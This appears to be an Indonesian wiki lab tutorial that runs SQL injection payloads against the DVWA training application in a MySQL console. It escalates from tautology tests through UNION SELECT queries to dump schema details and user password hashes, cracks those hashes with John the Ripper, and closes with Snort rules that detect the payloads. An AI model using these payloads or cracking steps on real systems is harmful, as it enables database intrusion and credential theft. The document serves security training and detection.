DVWA: perintah SQL di server DVWA

From OnnoWiki
Jump to navigation Jump to search

Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti jika kita mengerti perintah SQL yang di berikan. Untuk bisa mengerti dengan jelas, ada baiknya tidak melakukannya melalui interface web tapi coba login dan menuliskan perintah SQL di console MySQL menggunakan command line. Dari situ akan lebih mudah membayangkan bagaimana SQL Injection bekerja.

Langkah untuk mempelajari ini tidak terlalu sulit

  • Login ke mesin server yang kita instalasi DVWA
  • menjadi super user, menggunakan perintah
sudo su
  • Masuk ke database MySQL, jika password root mysql adalah 123456, maka kita dapat menggunakan perintah
mysql -u root -p123456


Jika berhasil dengan baik maka akan keluar

mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.17-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
  • Untuk berlatih kita perlu menggunakan database dvwa, ketik perintah
use dvwa

Kita sudah siap untuk belajar / memlihat apa yang terjadi jika kita latihan SQL Injection. Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah

SELECT first_name, last_name FROM users WHERE user_ID = '$id';

Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main dengan MySQL secara manual tanpa melakukan injection.

Masukan perintah

SELECT first_name, last_name FROM users WHERE user_ID = '1';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0,00 sec)


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_ID = '2';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| Gordon     | Brown     |
+------------+-----------+
1 row in set (0,00 sec)


Masukan perintah, untuk mencek apakah bisa di inject perintah lain

SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
+------------+-----------+
5 rows in set (0,00 sec)


Masukan perintah, untuk mencek apakah bisa di inject perintah lain

SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
+------------+-----------+
5 rows in set (0,01 sec)


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #';

Keluar

+------------+-------------------------+
| first_name | last_name               |
+------------+-------------------------+
| admin      | admin                   |
| Gordon     | Brown                   |
| Hack       | Me                      |
| Pablo      | Picasso                 |
| Bob        | Smith                   |
| NULL       | 5.7.17-0ubuntu0.16.04.1 |
+------------+-------------------------+
6 rows in set (0,00 sec)

Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1


Masukan perintah,

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #';

Keluar

+------------+----------------+
| first_name | last_name      |
+------------+----------------+
| admin      | admin          |
| Gordon     | Brown          |
| Hack       | Me             |
| Pablo      | Picasso        |
| Bob        | Smith          |
| NULL       | root@localhost |
+------------+----------------+
6 rows in set (0,00 sec)

akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
| NULL       | dvwa      |
+------------+-----------+
6 rows in set (0,00 sec)

akan keluar nama database yang digunakan, yaitu dvwa


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #';

Keluar

+------------+------------------------------------------------------+
| first_name | last_name                                            |
+------------+------------------------------------------------------+
| NULL       | CHARACTER_SETS                                       |
| NULL       | COLLATIONS                                           |
| NULL       | COLLATION_CHARACTER_SET_APPLICABILITY                |
| NULL       | COLUMNS                                              |
..
..
..
| NULL       | x$wait_classes_global_by_avg_latency                 |
| NULL       | x$wait_classes_global_by_latency                     |
| NULL       | x$waits_by_host_by_latency                           |
| NULL       | x$waits_by_user_by_latency                           |
| NULL       | x$waits_global_by_latency                            |
+------------+------------------------------------------------------+
275 rows in set (0,01 sec)

Dimana

  • CHARACTER_SETS
  • COLLATIONS
  • COLLATION_CHARACTER_SET_APPLICABILITY

adalah INFORMATION SCHEMA table name. INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi tentang database yang di maintain oleh MySQL.

Untuk mencek apakah ada tabel user di salah satu database, masukan perintah,

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#';

Akan keluar

+------------+-----------------------------------+
| first_name | last_name                         |
+------------+-----------------------------------+
| NULL       | USER_PRIVILEGES                   |
| NULL       | users                             |
| NULL       | user                              |
| NULL       | user_variables_by_thread          |
| NULL       | user_summary                      |
| NULL       | user_summary_by_file_io           |
| NULL       | user_summary_by_file_io_type      |
| NULL       | user_summary_by_stages            |
| NULL       | user_summary_by_statement_latency |
| NULL       | user_summary_by_statement_type    |
+------------+-----------------------------------+
10 rows in set (0,00 sec)

Akan terlihat ada beberapa tabel user, yang menarik buat kita adalah tabel users yang kemungkinan besar berisi password.


Untuk melihat struktur data dalam tabel users, kita bisa memasukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #';

Akan keluar,

+------------+---------------------------+
| first_name | last_name                 |
+------------+---------------------------+
| NULL       | users
user_id             |
| NULL       | users
first_name          |
| NULL       | users
last_name           |
| NULL       | users
user                |
| NULL       | users
password            |
| NULL       | users
avatar              |
| NULL       | users
last_login          |
| NULL       | users
failed_login        |
| NULL       | users
CURRENT_CONNECTIONS |
| NULL       | users
TOTAL_CONNECTIONS   |
+------------+---------------------------+
10 rows in set (0,01 sec)

Terlihat struktur data tabel users, ada user_ud, first_name, last_name, user, password, avatar, last_login, failed_login, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS. Tentu saja kita tertarik untuk melihat isi kolom password, walaupun di hash.

Untuk melihat isi kolom password, masukan perintah,

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #';

Akan keluar

+------------+-------------------------------------------------------+
| first_name | last_name                                             |
+------------+-------------------------------------------------------+
| NULL       | admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99    |
| NULL       | Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03 |
| NULL       | Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b         |
| NULL       | Pablo
Picasso
pablo
0d107d09f5bbe40cade3de5c71e9e9b7  |
| NULL       | Bob
Smith
smithy
5f4dcc3b5aa765d61d8327deb882cf99     |
+------------+-------------------------------------------------------+
5 rows in set (0,00 sec)

Terlihat first name, lastname, username dan password yang di hash.

Masukan kedalam sebuah file text, misalnya dvwa_password.txt, isinya adalah username:password yang di hash untuk bisa di crack menggunakan john the ripper. Pastikan tidak ada spasi dll dari ujung ke ujung setiap line supaya bisa di parsing oleh john.

admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99 


Coba di password yang di hash menggunakan MD5 crack misalnya menggunakan perintah john the ripper berikut di backtrack kemungkinan ada di

cd /pentest/passwords/john
./john --format=raw-MD5 dvwa_password.txt


di kali linux

/usr/sbin/john --format=raw-MD5 dvwa_password.txt


hasilnya kira-kira,

Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (admin)
password         (smithy)
abc123           (gordonb)
letmein          (pablo)
charley          (1337)
5g 0:00:00:01 DONE 3/3 (2017-03-17 08:33) 2.732g/s 99292p/s 99292c/s 107714C/s charlie..charies
Use the "--show" option to display all of the cracked passwords reliably
Session completed


Snort Rules untuk Mendeteksi

Beberapa alternatif snort local.rules untuk mendeteksi

alert tcp any any -> 192.168.0.100 80 (msg:"union"; content:"union"; nocase; classtype:web-application-attack; sid:1000033;)
alert tcp any any -> 192.168.0.100 80 (msg:"union select"; content:"union+select"; nocase; classtype:web-application-attack; sid:1000034;)
alert tcp any any -> 192.168.0.100 80 (msg:"information_schema"; content:"information_schema"; nocase; classtype:web-application-attack; sid:1000035;)